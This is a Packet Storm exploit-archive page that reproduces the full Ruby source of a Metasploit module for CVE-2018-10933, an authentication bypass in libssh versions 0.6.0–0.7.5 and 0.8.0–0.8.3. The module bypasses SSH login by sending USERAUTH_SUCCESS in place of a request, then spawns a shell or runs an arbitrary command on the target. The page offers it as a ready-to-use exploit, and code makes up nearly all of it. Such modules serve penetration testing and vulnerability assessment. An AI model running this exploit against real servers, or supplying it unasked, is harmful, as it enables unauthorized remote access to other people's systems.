exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Libssh Authentication Bypass Scanner

Libssh Authentication Bypass Scanner
Posted Sep 1, 2024
Authored by Peter Winter-Smith, wvu | Site metasploit.com

This Metasploit module exploits an authentication bypass in libssh server code where a USERAUTH_SUCCESS message is sent in place of the expected USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and 0.8.0 through 0.8.3 are vulnerable. Note that this modules success depends on whether the server code can trigger the correct (shell/exec) callbacks despite only the state machines authenticated state being set. Therefore, you may or may not get a shell if the server requires additional code paths to be followed.

tags | exploit, shell
advisories | CVE-2018-10933
SHA-256 | cde91faaf9388b718ce891cfb99941d6d0d6c0ea49e71e81ac203c8bf86be937

Libssh Authentication Bypass Scanner

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Auxiliary::Report
include Msf::Sessions::CreateSessionOptions
include Msf::Auxiliary::ReportSummary

def initialize(info = {})
super(update_info(info,
'Name' => 'libssh Authentication Bypass Scanner',
'Description' => %q{
This module exploits an authentication bypass in libssh server code
where a USERAUTH_SUCCESS message is sent in place of the expected
USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and
0.8.0 through 0.8.3 are vulnerable.

Note that this module's success depends on whether the server code
can trigger the correct (shell/exec) callbacks despite only the state
machine's authenticated state being set.

Therefore, you may or may not get a shell if the server requires
additional code paths to be followed.
},
'Author' => [
'Peter Winter-Smith', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2018-10933'],
['URL', 'https://www.libssh.org/security/advisories/CVE-2018-10933.txt']
],
'DisclosureDate' => '2018-10-16',
'License' => MSF_LICENSE,
'Actions' => [
['Shell', 'Description' => 'Spawn a shell'],
['Execute', 'Description' => 'Execute a command']
],
'DefaultAction' => 'Shell'
))

register_options([
Opt::RPORT(22),
OptString.new('CMD', [false, 'Command or alternative shell']),
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),
OptBool.new('CHECK_BANNER', [false, 'Check banner for libssh', true])
])

register_advanced_options([
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
])
end

# Vulnerable since 0.6.0 and patched in 0.7.6 and 0.8.4
def check_banner(ip, version)
version =~ /libssh[_-]?([\d.]*)$/ && $1 && (v = Rex::Version.new($1))

if v.nil?
vprint_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
Exploit::CheckCode::Unknown
elsif v.to_s.empty?
vprint_warning("#{ip}:#{rport} - libssh version not reported")
Exploit::CheckCode::Detected
elsif v.between?(Rex::Version.new('0.6.0'), Rex::Version.new('0.7.5')) ||
v.between?(Rex::Version.new('0.8.0'), Rex::Version.new('0.8.3'))
vprint_good("#{ip}:#{rport} - #{version} appears to be unpatched")
Exploit::CheckCode::Appears
else
vprint_error("#{ip}:#{rport} - #{version} appears to be patched")
Exploit::CheckCode::Safe
end
end

def run_host(ip)
if action.name == 'Execute' && datastore['CMD'].blank?
fail_with(Failure::BadConfig, 'Execute action requires CMD to be set')
end

ssh_opts = ssh_client_defaults.merge({
port: rport,
# The auth method is converted into a class name for instantiation,
# so libssh-auth-bypass here becomes LibsshAuthBypass from the mixin
auth_methods: ['libssh-auth-bypass']
})

ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

print_status("#{ip}:#{rport} - Attempting authentication bypass")

begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(ip, username, ssh_opts)
end
rescue Net::SSH::Exception => e
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end

return unless ssh

version = ssh.transport.server_version.version

# XXX: The OOB authentication leads to false positives, so check banner
if datastore['CHECK_BANNER']
return if check_banner(ip, version) !=
(Exploit::CheckCode::Appears || Exploit::CheckCode::Detected)
end

report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: version
)

shell = Net::SSH::CommandStream.new(ssh, datastore['CMD'], pty: datastore['SPAWN_PTY'])

# XXX: Wait for CommandStream to log a channel request failure
sleep 0.1

if (e = shell.error)
print_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end

print_status("Attempting #{action.name.inspect} Action, see \"show actions\" for more details")
case action.name
when 'Shell'
if datastore['CreateSession']
start_session(self, "#{self.name} (#{version})", {}, false, shell.lsock)
end
when 'Execute'
output = shell.channel && (shell.channel[:data] || '').chomp

if output.blank?
print_error("#{ip}:#{rport} - Empty or blank command output")
return
end

print_status("#{ip}:#{rport} - Executed: #{datastore['CMD']}\n#{output}")
end
end

def rport
datastore['RPORT']
end

def username
Rex::Text.rand_text_alphanumeric(8..42)
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close